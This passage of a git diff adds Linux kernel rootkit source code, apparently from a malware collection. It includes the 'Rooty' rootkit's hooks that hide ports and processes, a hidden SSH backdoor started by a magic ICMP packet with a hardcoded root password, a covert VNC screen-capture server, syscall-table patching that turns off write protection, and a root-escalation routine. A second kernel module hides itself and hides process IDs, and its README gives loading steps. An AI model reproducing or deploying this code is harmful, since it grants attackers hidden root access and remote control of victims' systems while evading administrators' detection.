TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} + +static int n_tcp6_seq_show ( struct seq_file *seq, void *v ) +{ + int ret; + char port[12]; + struct hidden_port *hp; + + hijack_pause(tcp6_seq_show); + ret = tcp6_seq_show(seq, v); + hijack_resume(tcp6_seq_show); + + list_for_each_entry ( hp, &hidden_tcp6_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} + +static int n_udp4_seq_show ( struct seq_file *seq, void *v ) +{ + int ret; + char port[12]; + struct hidden_port *hp; + + hijack_pause(udp4_seq_show); + ret = udp4_seq_show(seq, v); + hijack_resume(udp4_seq_show); + + list_for_each_entry ( hp, &hidden_udp4_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} + +static int n_udp6_seq_show ( struct seq_file *seq, void *v ) +{ + int ret; + char port[12]; + struct hidden_port *hp; + + hijack_pause(udp6_seq_show); + ret = udp6_seq_show(seq, v); + hijack_resume(udp6_seq_show); + + list_for_each_entry ( hp, &hidden_udp6_ports, list ) + { + sprintf(port, ":%04X", hp->port); + if ( strnstr(seq->buf + seq->count - TMPSZ, port, TMPSZ) ) + { + seq->count -= TMPSZ; + break; + } + } + + return ret; +} diff --git a/Linux/Rootkits/Rooty/ssh.h b/Linux/Rootkits/Rooty/ssh.h new file mode 100644 index 0000000..3a2c152 --- /dev/null +++ b/Linux/Rootkits/Rooty/ssh.h @@ -0,0 +1,163 @@ +#define AUTH_TOKEN 0xDEADC0DE + +DECLARE_WAIT_QUEUE_HEAD(run_event); + +struct n_subprocess_info *ssh_sub_info; + +pid_t ssh_pid; +struct task_struct *runner_thread; +int isSSHDrunning = 0; +int startSSHD = 0; +int stopSSHD = 0; + +char *ssh_argv[] = { "/sbin/sshd", NULL, NULL }; +static char *ssh_envp[] = +{ + "HOME=/", + "TERM=xterm", + "PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL +}; + +struct magic_icmp { + unsigned int magic; + unsigned int ip; + unsigned short port; +}; + +struct nf_hook_ops pre_hook; + +void init_icmp (void); +void stop_icmp (void); + +int runner(void* par) +{ + while(1) + { + wait_event_interruptible(run_event, (startSSHD ==1 || stopSSHD == 1) || kthread_should_stop()); + + if(!isSSHDrunning && startSSHD) + { + int ret; + printk("rooty: Starting SSHD server\n"); + ssh_sub_info = n_call_usermodehelper_setup( ssh_argv[0], ssh_argv, ssh_envp, GFP_ATOMIC ); + if (ssh_sub_info == NULL) return -ENOMEM; + + ret = n_call_usermodehelper( "sbin/sshd", ssh_argv, ssh_envp, UMH_WAIT_EXEC ); + if (ret != 0) + { + printk("rooty: Error in call to sshd: %i\n", ret); + return 1; + } + else + { + printk("rooty: SSHD pid %d\n", callmodule_pid); + ssh_pid = callmodule_pid; + hide_proc(ssh_pid); + } + isSSHDrunning = 1; + startSSHD = 0; + } + else if(isSSHDrunning && stopSSHD) + { + struct siginfo info; + struct task_struct *t; + printk("rooty: Stopping SSHD server\n"); + memset(&info, 0, sizeof(struct siginfo)); + info.si_signo = 42; + info.si_code = SI_QUEUE; + info.si_int = 1234; + + rcu_read_lock(); + t = pid_task(find_vpid(ssh_pid), PIDTYPE_PID); + rcu_read_unlock(); + if(t != NULL) + send_sig_info(42, &info, t); + + unhide_proc(ssh_pid); + isSSHDrunning = 0; + stopSSHD = 0; + } + if(kthread_should_stop()) + return 0; + } + return 0; +} + +int init_ssh(void) +{ + runner_thread = kthread_run(runner, NULL, "kthread"); + hide_proc(runner_thread->pid); + init_icmp(); + return 0; +} + +void stop_ssh(void) +{ + if(isSSHDrunning) + { + stopSSHD = 1; + wake_up_interruptible(&run_event); + } + unhide_proc(runner_thread->pid); + kthread_stop(runner_thread); + stop_icmp(); +} + +unsigned int watch_icmp ( unsigned int hooknum, struct sk_buff *skb, const struct net_device *in, const struct net_device *out, int (*okfn)(struct sk_buff *) ) +{ + struct iphdr *ip_header; + struct icmphdr *icmp_header; + struct magic_icmp *payload; + unsigned int payload_size; + + ip_header = ip_hdr(skb); + if ( ! ip_header ) + return NF_ACCEPT; + + if ( ip_header->protocol != IPPROTO_ICMP ) + return NF_ACCEPT; + + icmp_header = (struct icmphdr *)(ip_header + 1); + if ( ! icmp_header ) + return NF_ACCEPT; + + payload = (struct magic_icmp *)(icmp_header + 1); + payload_size = skb->len - sizeof(struct iphdr) - sizeof(struct icmphdr); + + printk("rooty: ICMP packet: payload_size=%u, magic=%x, ip=%x, port=%hu\n", payload_size, payload->magic, payload->ip, payload->port); + + if ( icmp_header->type != ICMP_ECHO || payload_size != 4 || payload->magic != AUTH_TOKEN ) + return NF_ACCEPT; + + if(!isSSHDrunning) + { + startSSHD = 1; + wake_up_interruptible(&run_event); + } + else + { + stopSSHD = 1; + wake_up_interruptible(&run_event); + } + + return NF_STOLEN; +} + +void init_icmp (void) +{ + printk("rooty: Monitoring ICMP packets via netfilter\n"); + + pre_hook.hook = watch_icmp; + pre_hook.pf = PF_INET; + pre_hook.priority = NF_IP_PRI_FIRST; + pre_hook.hooknum = NF_INET_PRE_ROUTING; + + nf_register_hook(&pre_hook); +} + +void stop_icmp (void) +{ + printk("rooty: Stopping monitoring ICMP packets via netfilter\n"); + + nf_unregister_hook(&pre_hook); +} diff --git a/Linux/Rootkits/Rooty/sshd/Makefile b/Linux/Rootkits/Rooty/sshd/Makefile new file mode 100644 index 0000000..24aa82b --- /dev/null +++ b/Linux/Rootkits/Rooty/sshd/Makefile @@ -0,0 +1,7 @@ + + +all: + gcc -o sshd sshd.c -Wl,-Bstatic -lssh -Wl,-Bdynamic -lz -lcrypto -lrt -lutil + +clean: + rm sshd \ No newline at end of file diff --git a/Linux/Rootkits/Rooty/sshd/sshd b/Linux/Rootkits/Rooty/sshd/sshd new file mode 100644 index 0000000..e07f1c2 Binary files /dev/null and b/Linux/Rootkits/Rooty/sshd/sshd differ diff --git a/Linux/Rootkits/Rooty/sshd/sshd.c b/Linux/Rootkits/Rooty/sshd/sshd.c new file mode 100644 index 0000000..c0d3555 --- /dev/null +++ b/Linux/Rootkits/Rooty/sshd/sshd.c @@ -0,0 +1,369 @@ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#define SSHD_USER "root" +#define SSHD_PASSWORD "test" +#define KEYS_FOLDER "/etc/ssh/" +#define AUTH_TOKEN 0xDEADC0DE + + +struct rooty_proc_args +{ + unsigned short pid; +}; + +struct rooty_args +{ + unsigned short cmd; + void *ptr; +}; + +static int port = 22; + +static int auth_password(const char *user, const char *password) +{ + if(strcmp(user, SSHD_USER)) + return 0; + if(strcmp(password, SSHD_PASSWORD)) + return 0; + return 1; +} + +static int authenticate(ssh_session session) +{ + ssh_message message; + + do + { + message=ssh_message_get(session); + if(!message) + break; + switch(ssh_message_type(message)) + { + case SSH_REQUEST_AUTH: + switch(ssh_message_subtype(message)) + { + case SSH_AUTH_METHOD_PASSWORD: + printf("User %s wants to auth with pass %s\n", + ssh_message_auth_user(message), + ssh_message_auth_password(message)); + if(auth_password(ssh_message_auth_user(message), + ssh_message_auth_password(message))) + { + ssh_message_auth_reply_success(message,0); + ssh_message_free(message); + return 1; + } + ssh_message_auth_set_methods(message, + SSH_AUTH_METHOD_PASSWORD | + SSH_AUTH_METHOD_INTERACTIVE); + + ssh_message_reply_default(message); + break; + + case SSH_AUTH_METHOD_NONE: + default: + printf("User %s wants to auth with unknown auth %d\n", + ssh_message_auth_user(message), + ssh_message_subtype(message)); + ssh_message_auth_set_methods(message, + SSH_AUTH_METHOD_PASSWORD | + SSH_AUTH_METHOD_INTERACTIVE); + ssh_message_reply_default(message); + break; + } + break; + default: + ssh_message_auth_set_methods(message, + SSH_AUTH_METHOD_PASSWORD | + SSH_AUTH_METHOD_INTERACTIVE); + ssh_message_reply_default(message); + } + ssh_message_free(message); + } + while (1); + return 0; +} + +static int copy_fd_to_chan(socket_t fd, int revents, void *userdata) +{ + ssh_channel chan = (ssh_channel)userdata; + char buf[2048]; + int sz = 0; + + if(!chan) + { + close(fd); + return -1; + } + if(revents & POLLIN) + { + sz = read(fd, buf, 2048); + if(sz > 0) + { + ssh_channel_write(chan, buf, sz); + } + } + if(revents & POLLHUP) + { + ssh_channel_close(chan); + sz = -1; + } + return sz; +} + +static int copy_chan_to_fd(ssh_session session, + ssh_channel channel, + void *data, + uint32_t len, + int is_stderr, + void *userdata) +{ + int fd = *(int*)userdata; + int sz; + (void)session; + (void)channel; + (void)is_stderr; + + sz = write(fd, data, len); + return sz; +} + +static void chan_close(ssh_session session, ssh_channel channel, void *userdata) +{ + int fd = *(int*)userdata; + (void)session; + (void)channel; + + close(fd); +} + +struct ssh_channel_callbacks_struct cb = +{ + .channel_data_function = copy_chan_to_fd, + .channel_eof_function = chan_close, + .channel_close_function = chan_close, + .userdata = NULL +}; + +static int main_loop(ssh_channel chan) +{ + ssh_session session = ssh_channel_get_session(chan); + socket_t fd; + struct termios *term = NULL; + struct winsize *win = NULL; + pid_t childpid; + ssh_event event; + short events; + int rc; + + struct rooty_args rooty_args; + struct rooty_proc_args rooty_proc_args; + int sockfd; + int io; + + childpid = forkpty(&fd, NULL, term, win); + if(childpid == 0) + { + execl("/bin/bash", "/bin/bash", (char *)NULL); + abort(); + } + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + rooty_proc_args.pid = childpid; + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + + cb.userdata = &fd; + ssh_callbacks_init(&cb); + ssh_set_channel_callbacks(chan, &cb); + + events = POLLIN | POLLPRI | POLLERR | POLLHUP | POLLNVAL; + + event = ssh_event_new(); + if(event == NULL) + { + printf("Couldn't get a event\n"); + return -1; + } + if(ssh_event_add_fd(event, fd, events, copy_fd_to_chan, chan) != SSH_OK) + { + printf("Couldn't add an fd to the event\n"); + ssh_event_free(event); + return -1; + } + if(ssh_event_add_session(event, session) != SSH_OK) + { + printf("Couldn't add the session to the event\n"); + ssh_event_remove_fd(event, fd); + ssh_event_free(event); + return -1; + } + + do + { + rc = ssh_event_dopoll(event, 1000); + if (rc == SSH_ERROR) + { + fprintf(stderr, "Error : %s\n", ssh_get_error(session)); + ssh_event_free(event); + ssh_disconnect(session); + return -1; + } + } + while(!ssh_channel_is_closed(chan)); + + ssh_event_remove_fd(event, fd); + + ssh_event_remove_session(event, session); + + ssh_event_free(event); + return 0; +} + + +int main(int argc, char **argv) +{ + ssh_session session; + ssh_bind sshbind; + ssh_message message; + ssh_channel chan=0; + int auth=0; + int shell=0; + int r; + + sshbind=ssh_bind_new(); + session=ssh_new(); + + ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_DSAKEY, + KEYS_FOLDER "id_dsa"); + ssh_bind_options_set(sshbind, SSH_BIND_OPTIONS_RSAKEY, + KEYS_FOLDER "id_rsa"); + + + (void) argc; + (void) argv; + + + if(ssh_bind_listen(sshbind)<0) + { + printf("Error listening to socket: %s\n", ssh_get_error(sshbind)); + return 1; + } + printf("Started sshd on port %d\n", port); + printf("You can login as the user %s with the password %s\n", SSHD_USER, + SSHD_PASSWORD); + r = ssh_bind_accept(sshbind, session); + if(r==SSH_ERROR) + { + printf("Error accepting a connection: %s\n", ssh_get_error(sshbind)); + return 1; + } + if (ssh_handle_key_exchange(session)) + { + printf("ssh_handle_key_exchange: %s\n", ssh_get_error(session)); + return 1; + } + + auth = authenticate(session); + if(!auth) + { + printf("Authentication error: %s\n", ssh_get_error(session)); + ssh_disconnect(session); + return 1; + } + + do + { + message = ssh_message_get(session); + if(message) + { + if(ssh_message_type(message) == SSH_REQUEST_CHANNEL_OPEN && + ssh_message_subtype(message) == SSH_CHANNEL_SESSION) + { + chan = ssh_message_channel_request_open_reply_accept(message); + ssh_message_free(message); + break; + } + else + { + ssh_message_reply_default(message); + ssh_message_free(message); + } + } + else + { + break; + } + } + while(!chan); + + if(!chan) + { + printf("Error: cleint did not ask for a channel session (%s)\n", + ssh_get_error(session)); + ssh_finalize(); + return 1; + } + + + do + { + message = ssh_message_get(session); + if(message != NULL) + { + if(ssh_message_type(message) == SSH_REQUEST_CHANNEL) + { + if(ssh_message_subtype(message) == SSH_CHANNEL_REQUEST_SHELL) + { + shell = 1; + ssh_message_channel_request_reply_success(message); + ssh_message_free(message); + break; + } + else if(ssh_message_subtype(message) == SSH_CHANNEL_REQUEST_PTY) + { + ssh_message_channel_request_reply_success(message); + ssh_message_free(message); + continue; + } + } + ssh_message_reply_default(message); + ssh_message_free(message); + } + else + { + break; + } + } + while(!shell); + + if(!shell) + { + printf("Error: No shell requested (%s)\n", ssh_get_error(session)); + return 1; + } + + printf("it works !\n"); + + main_loop(chan); + + ssh_disconnect(session); + ssh_bind_free(sshbind); + + ssh_finalize(); + return 0; +} diff --git a/Linux/Rootkits/Rooty/syscall_table.h b/Linux/Rootkits/Rooty/syscall_table.h new file mode 100644 index 0000000..b2ae20b --- /dev/null +++ b/Linux/Rootkits/Rooty/syscall_table.h @@ -0,0 +1,200 @@ +#define HIJACK_SIZE 6 + +#define DEBUG_HOOK(fmt, ...) + +LIST_HEAD(hooked_syms); + +struct sym_hook +{ + void *addr; + unsigned char o_code[HIJACK_SIZE]; + unsigned char n_code[HIJACK_SIZE]; + struct list_head list; +}; + +struct ksym +{ + char *name; + unsigned long addr; +}; + +struct +{ + unsigned short limit; + unsigned long base; +} __attribute__ ((packed))idtr; + +struct +{ + unsigned short off1; + unsigned short sel; + unsigned char none, flags; + unsigned short off2; +} __attribute__ ((packed))idt; + +asmlinkage ssize_t (*o_write)(int fd, const char __user *buff, ssize_t count); +asmlinkage ssize_t (*o_socketcall)(int call, unsigned long __user *args); +asmlinkage ssize_t (*o_sys_recvmsg)(int fd, struct msghdr __user *msg, unsigned flags); + +void hijack_start(void *target, void *new); +void hijack_pause(void *target); +void hijack_resume(void *target); +void hijack_stop(void *target); + +void *memmem ( const void *, size_t, const void *, size_t ); + + +unsigned long *syscall_table; + +unsigned long *find_sys_call_table ( void ) +{ + char **p; + unsigned long sct_off = 0; + unsigned char code[255]; + + asm("sidt %0":"=m" (idtr)); + memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt)); + sct_off = (idt.off2 << 16) | idt.off1; + memcpy(code, (void *)sct_off, sizeof(code)); + + p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3); + + if ( p ) + return *(unsigned long **)((char *)p + 3); + else + return NULL; +} + +inline void** get_syscall_table_addr(void) +{ + if(syscall_table == NULL) + syscall_table = (unsigned long*)find_sys_call_table(); + return (void**)syscall_table; +} + +inline unsigned long disable_wp ( void ) +{ + unsigned long cr0; + + preempt_disable(); + barrier(); + + cr0 = read_cr0(); + write_cr0(cr0 & ~X86_CR0_WP); + return cr0; +} + +inline void restore_wp ( unsigned long cr0 ) +{ + write_cr0(cr0); + + barrier(); + preempt_enable(); +} + + +void hijack_start ( void *target, void *new ) +{ + struct sym_hook *sa; + unsigned char o_code[HIJACK_SIZE], n_code[HIJACK_SIZE]; + + + unsigned long o_cr0; + + memcpy(n_code, "\x68\x00\x00\x00\x00\xc3", HIJACK_SIZE); + *(unsigned long *)&n_code[1] = (unsigned long)new; + + memcpy(o_code, target, HIJACK_SIZE); + + o_cr0 = disable_wp(); + memcpy(target, n_code, HIJACK_SIZE); + restore_wp(o_cr0); + + sa = kmalloc(sizeof(*sa), GFP_KERNEL); + if ( ! sa ) + return; + + sa->addr = target; + memcpy(sa->o_code, o_code, HIJACK_SIZE); + memcpy(sa->n_code, n_code, HIJACK_SIZE); + + list_add(&sa->list, &hooked_syms); +} + +void hijack_pause ( void *target ) +{ + struct sym_hook *sa; + + list_for_each_entry ( sa, &hooked_syms, list ) + if ( target == sa->addr ) + { + unsigned long o_cr0 = disable_wp(); + memcpy(target, sa->o_code, HIJACK_SIZE); + restore_wp(o_cr0); + } +} + +void hijack_resume ( void *target ) +{ + struct sym_hook *sa; + + list_for_each_entry ( sa, &hooked_syms, list ) + if ( target == sa->addr ) + { + unsigned long o_cr0 = disable_wp(); + memcpy(target, sa->n_code, HIJACK_SIZE); + restore_wp(o_cr0); + } +} + +void hijack_stop ( void *target ) +{ + struct sym_hook *sa; + + list_for_each_entry ( sa, &hooked_syms, list ) + if ( target == sa->addr ) + { + unsigned long o_cr0 = disable_wp(); + memcpy(target, sa->o_code, HIJACK_SIZE); + restore_wp(o_cr0); + + list_del(&sa->list); + kfree(sa); + break; + } +} + +void *memmem ( const void *haystack, size_t haystack_size, const void *needle, size_t needle_size ) +{ + char *p; + + for ( p = (char *)haystack; p <= ((char *)haystack - needle_size + haystack_size); p++ ) + if ( memcmp(p, needle, needle_size) == 0 ) + return (void *)p; + + return NULL; +} + +void root_me(void) +{ + struct cred * new_cred = prepare_creds(); + + if(current->cred->uid==0) + { + return; + } + new_cred = prepare_creds(); + if (!new_cred) + { + return; + } + // change uid, gid to root id + new_cred->uid = 0; + new_cred->gid = 0; + new_cred->euid = 0; + new_cred->egid = 0; + new_cred->fsuid = 0; + new_cred->fsgid = 0; + + commit_creds(new_cred); +} diff --git a/Linux/Rootkits/Rooty/vnc.h b/Linux/Rootkits/Rooty/vnc.h new file mode 100644 index 0000000..8665a6c --- /dev/null +++ b/Linux/Rootkits/Rooty/vnc.h @@ -0,0 +1,60 @@ +struct n_subprocess_info *vnc_sub_info; + +pid_t vnc_pid; +int isVNCDrunning = 0; + +char *vnc_argv[] = { "/sbin/vncd", NULL, NULL }; +static char *vnc_envp[] = +{ + "HOME=/", + "TERM=xterm", + "LOGNAME=jermey", + "USERNAME=jermey", + "USER=jermey", + "PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin", NULL +}; + +int init_vnc(void) +{ + int ret; + printk("rooty: Starting VNCD server\n"); + vnc_sub_info = n_call_usermodehelper_setup( vnc_argv[0], vnc_argv, vnc_envp, GFP_ATOMIC ); + if (vnc_sub_info == NULL) return -ENOMEM; + + ret = n_call_usermodehelper( "/sbin/vncd", vnc_argv, vnc_envp, UMH_WAIT_EXEC ); + if (ret != 0) + { + printk("rooty: error in call to vncd: %i\n", ret); + return 1; + } + else + { + printk("rooty: vncd pid %d\n", callmodule_pid); + vnc_pid = callmodule_pid; + hide_proc(vnc_pid); + isVNCDrunning = 1; + } + return 0; +} + +void stop_vnc(void) +{ + if(isVNCDrunning) + { + struct siginfo info; + struct task_struct *t; + printk("rooty: Stopping VNCD server\n"); + memset(&info, 0, sizeof(struct siginfo)); + info.si_signo = 42; //33 Kernel base + SIGTERM(9) + info.si_code = SI_QUEUE; + info.si_int = 1234; + + rcu_read_lock(); + t = pid_task(find_vpid(vnc_pid), PIDTYPE_PID); + rcu_read_unlock(); + if( t != NULL) + send_sig_info(42, &info, t); + + unhide_proc(vnc_pid); + } +} diff --git a/Linux/Rootkits/Rooty/vncd/Makefile b/Linux/Rootkits/Rooty/vncd/Makefile new file mode 100644 index 0000000..73a93dc --- /dev/null +++ b/Linux/Rootkits/Rooty/vncd/Makefile @@ -0,0 +1,7 @@ + + +all: + gcc -o vncd vnc-server.c -Wl,-Bstatic -lvncserver -Wl,-Bdynamic -ljpeg -lz -lpthread -lX11 + +clean: + rm vncd diff --git a/Linux/Rootkits/Rooty/vncd/vnc-server.c b/Linux/Rootkits/Rooty/vncd/vnc-server.c new file mode 100644 index 0000000..a423a90 --- /dev/null +++ b/Linux/Rootkits/Rooty/vncd/vnc-server.c @@ -0,0 +1,116 @@ +#include +#include +#include +#include +#include +#include +#include + +#define AUTH_TOKEN 0xDEADC0DE +#define PICTURE_TIMEOUT (1.0/1.0) + +#define BPP 4 + +char *contents; +int x,y; + +int width; +int height; + +XImage *image; +Display *display; +Window root; + +struct rooty_proc_args +{ + unsigned short pid; +}; + +struct rooty_args +{ + unsigned short cmd; + void *ptr; +}; + +int timer() +{ + static struct timeval now= {0,0}, then= {0,0}; + double elapsed, dnow, dthen; + gettimeofday(&now,NULL); + dnow = now.tv_sec + (now.tv_usec /1000000.0); + dthen = then.tv_sec + (then.tv_usec/1000000.0); + elapsed = dnow - dthen; + if (elapsed > PICTURE_TIMEOUT) + memcpy((char *)&then, (char *)&now, sizeof(struct timeval)); + return elapsed > PICTURE_TIMEOUT; +} + +int refresh(void) +{ + display = XOpenDisplay(":0.0"); + root = DefaultRootWindow(display); + image = XGetImage(display,root, 0,0 , width,height,AllPlanes, ZPixmap); + for (x = 0; x < width; x++) + for (y = 0; y < height ; y++) + { + unsigned long pixel = XGetPixel(image,x,y); + + unsigned char blue = (unsigned char)pixel; + unsigned char green = (unsigned char)((pixel)>>8); + unsigned char red = (unsigned char)(pixel >> 16); + + contents[(x + width * y) * 4] = red; + contents[(x + width * y) * 4+1] = green; + contents[(x + width * y) * 4+2] = blue; + } + return 1; +} + +int main(int argc,char** argv) +{ + struct rooty_args rooty_args; + struct rooty_proc_args rooty_proc_args; + int sockfd; + int io; + + sockfd = socket(AF_INET, SOCK_STREAM, 6); + rooty_proc_args.pid = getpid(); + rooty_args.cmd = 1; + rooty_args.ptr = &rooty_proc_args; + + io = ioctl(sockfd, AUTH_TOKEN, &rooty_args); + + long usec; + printf("Process PID: %d\n",getpid()); + printf("Opening display :0... "); + display = XOpenDisplay(":0.0"); + printf("Display :0 opened\n"); + root = DefaultRootWindow(display); + printf("Got rootWindow!\n"); + XWindowAttributes gwa; + + XGetWindowAttributes(display, root, &gwa); + width = gwa.width; + height = gwa.height; + + printf("Screen parameters:\n\tWidth: %d\n\tHeight: %d\n",width,height); + + contents = (char*)malloc(width*height*BPP); + + rfbScreenInfoPtr server=rfbGetScreen(&argc,argv,width,height,8,3,BPP); + + server->frameBuffer=contents; + server->alwaysShared=(1==1); + + rfbInitServer(server); + while (rfbIsActive(server)) + { + if (timer()) + if (refresh()) + rfbMarkRectAsModified(server,0,0,width,height); + + usec = server->deferUpdateTime*1000; + rfbProcessEvents(server,usec); + } + return 0; +} diff --git a/Linux/Rootkits/Rooty/vncd/vncd b/Linux/Rootkits/Rooty/vncd/vncd new file mode 100644 index 0000000..c1885e4 Binary files /dev/null and b/Linux/Rootkits/Rooty/vncd/vncd differ diff --git a/Linux/Rootkits/Self Titled Project 4/.gitignore b/Linux/Rootkits/Self Titled Project 4/.gitignore new file mode 100644 index 0000000..edf6645 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/.gitignore @@ -0,0 +1,29 @@ +# Object files +*.o +*.ko +*.obj +*.elf + +# Precompiled Headers +*.gch +*.pch + +# Libraries +*.lib +*.a +*.la +*.lo + +# Shared objects (inc. Windows DLLs) +*.dll +*.so +*.so.* +*.dylib + +# Executables +*.exe +*.out +*.app +*.i*86 +*.x86_64 +*.hex diff --git a/Linux/Rootkits/Self Titled Project 4/Makefile b/Linux/Rootkits/Self Titled Project 4/Makefile new file mode 100644 index 0000000..cdfcfa6 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/Makefile @@ -0,0 +1,9 @@ +obj-m := rootkit.o + +KDIR := /lib/modules/$(shell uname -r)/build +PWD := $(shell pwd) + +default: + $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules +clean: + make -C $(KDIR) M=$(PWD) clean diff --git a/Linux/Rootkits/Self Titled Project 4/README.md b/Linux/Rootkits/Self Titled Project 4/README.md new file mode 100644 index 0000000..7da3203 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/README.md @@ -0,0 +1,33 @@ +# lkm-rootkit +A rootkit implemented as a linux kernel module + +##Syscall table: +###NOTICE: +This kernel module is only compatible with 64-bit PCs. +Please do NOT run if your PC is a 32-bit. + + + +To load the 'rootkit' module: +-------------------------------- + make -f Makefile + sudo insmod rootkit.ko + dmesg | tail + + + +To remove the module: +--------------------- + sudo rmmod rootkit + +To be able to get root access: +------------------------------ + After loading the module, Invoke the write function with the last + parameter (the count) passed as -1 + +To be able to hide a port: +------------------------------ + After loading the module, Isssue the following command + echo "hp PORT_NUMBER" > /proc/rootkitproc + +----------------------------------------------------------------------------- diff --git a/Linux/Rootkits/Self Titled Project 4/README.txt b/Linux/Rootkits/Self Titled Project 4/README.txt new file mode 100644 index 0000000..f8370cf --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/README.txt @@ -0,0 +1,22 @@ +NOTICE:This kernel module is only compatible with 64-bit PCs. Please do NOT run if your PC is a 32-bit. + +To compile the module: +make -f Makefile + +To load the module in kernel: +sudo insmod rootkit.ko + +To remove the module from kernel: +sudo rmmod rootkit + +To check whether the module is loaded: +lsmod | grep rootkit + +To view kernel printed msgs: +dmesg | tail + +To hide a certain PID: +echo "hide_proc " > /proc/rootkitproc + +To unhide a certain PID: +echo "show_proc " > /proc/rootkitproc diff --git a/Linux/Rootkits/Self Titled Project 4/rootkit.c b/Linux/Rootkits/Self Titled Project 4/rootkit.c new file mode 100644 index 0000000..ba05b82 --- /dev/null +++ b/Linux/Rootkits/Self Titled Project 4/rootkit.c @@ -0,0 +1,510 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +#define BUF_SIZE 1024 +#define END_MEM ULLONG_MAX +#define START_MEM PAGE_OFFSET +#define TCP_LINE_SIZE 150 +#define END_MEM ULLONG_MAX +#define PROC_FILE_NAME "rootkitproc" +#define HIDE_PROC_CMD "hide_proc" +#define SHOW_PROC_CMD "show_proc" + +long proc_pid; +bool proc_hidden = false; +int PORT_TO_HIDE = 631; +int TCP_fd = -10; +static struct proc_dir_entry *proc_file; +static unsigned long procfs_buffer_size = 0; +struct list_head *prev_module; +struct list_head *prev_kobj; +unsigned long long *syscall_table; +static char buff1[BUF_SIZE]; +static char buff2[BUF_SIZE]; +bool module_hidden; + + +asmlinkage int (*original_write)(unsigned int, const char __user *, size_t); +asmlinkage int (*modified_write)(unsigned int, const char __user *, size_t); + +// original functions +asmlinkage int (*original_open)(const char *, int); +asmlinkage long (*original_read)(int, char __user *, size_t); +asmlinkage int (*orig_getdents)(unsigned int, struct linux_dirent *, unsigned int); + +struct linux_dirent { + unsigned long d_ino; + unsigned long d_off; + unsigned short d_reclen; + char d_name[256]; + char pad; + char d_type; +}; + +void enable_write_protection(void) { + write_cr0 (read_cr0 () | 0x10000); + return; +} + +void disable_write_protection(void) { + write_cr0 (read_cr0 () & (~ 0x10000)); + return; +} + +void hide_module(void) { + if (module_hidden) return; + prev_module = THIS_MODULE->list.prev; + prev_kobj = THIS_MODULE->mkobj.kobj.entry.prev; + + mutex_lock(&module_mutex); + + list_del_rcu(&THIS_MODULE->list); + kobject_del(&THIS_MODULE->mkobj.kobj); + list_del_rcu(&THIS_MODULE->mkobj.kobj.entry); + + synchronize_rcu(); + kfree(THIS_MODULE->notes_attrs); + THIS_MODULE->notes_attrs = NULL; + kfree(THIS_MODULE->sect_attrs); + THIS_MODULE->sect_attrs = NULL; + kfree(THIS_MODULE->mkobj.mp); + THIS_MODULE->mkobj.mp = NULL; + THIS_MODULE->modinfo_attrs->attr.name = NULL; + kfree(THIS_MODULE->mkobj.drivers_dir); + THIS_MODULE->mkobj.drivers_dir = NULL; + + mutex_unlock(&module_mutex); + module_hidden = true; +} + +void show_module(void) { + if (!module_hidden) return; + mutex_lock(&module_mutex); + list_add_rcu(&THIS_MODULE->list, prev_module); + //list_add_rcu(&THIS_MODULE->mkobj.kobj.entry, prev_kobj); + synchronize_rcu(); + mutex_unlock(&module_mutex); + module_hidden = false; +} + +long str_to_lng(const char *str) +{ + long res = 0, mul = 1; + const char *ptr; + + for(ptr = str; *ptr >= '0' && *ptr <= '9'; ptr++); + ptr--; + + while(ptr >= str) { + if(*ptr < '0' || *ptr > '9') + break; + + res += (*ptr - '0') * mul; + mul *= 10; + ptr--; + } + return res; +} + +// splits the input into 2 commands +void split_buffer(char* procfs_buffer) +{ + int i,j; + bool flag = true; + + for(i = 0; i < BUF_SIZE; i++) + { + if(procfs_buffer[i] == ' ' || procfs_buffer[i] == '\n') + { + buff1[i++] = '\0'; + if(procfs_buffer[i] == '\n') flag = false; + break; + } + + buff1[i] = procfs_buffer[i]; + } + + if(!flag) return; + + for(j = 0; j < BUF_SIZE && i < BUF_SIZE; i++, j++) + { + if(procfs_buffer[i] == '\n') + { + buff2[i] = '\0'; + break; + } + + buff2[j] = procfs_buffer[i]; + } +} + +asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent *dirp, unsigned int count) +{ + int result, bp; + char *kdirp; + struct linux_dirent *d; + + struct files_struct *current_files; + struct fdtable *files_table; + struct path file_path; + char pbuf[256], *pathname = NULL; + long pid = 0; + + // run real getdents + result = (*orig_getdents)(fd,dirp,count); + if (result <= 0) + return result; + + // get pathname + current_files = current->files; + files_table = files_fdtable(current_files); + + file_path = files_table->fd[fd]->f_path; + pathname = d_path(&file_path,pbuf,256 * sizeof(char)); + + // copy from user to kernelspace; + if (!access_ok(VERIFY_READ,dirp,result)) + return EFAULT; + if ((kdirp = kmalloc(result,GFP_KERNEL)) == NULL) + return EINVAL; + if (copy_from_user(kdirp,dirp,result)) + return EFAULT; + + // check dirp for files to hide + for (bp = 0; bp < result; bp += d->d_reclen) { + d = (struct linux_dirent *) (kdirp + bp); + // process hiding + if (!strcmp(pathname,"/proc")) { + pid = str_to_lng(d->d_name); // convert string into long + if (pid == proc_pid) { + // shifting memory by record length to hide traces of the pid if it matched the current record + memmove(kdirp + bp,kdirp + bp + d->d_reclen, + result - bp - d->d_reclen); + result -= d->d_reclen; + bp -= 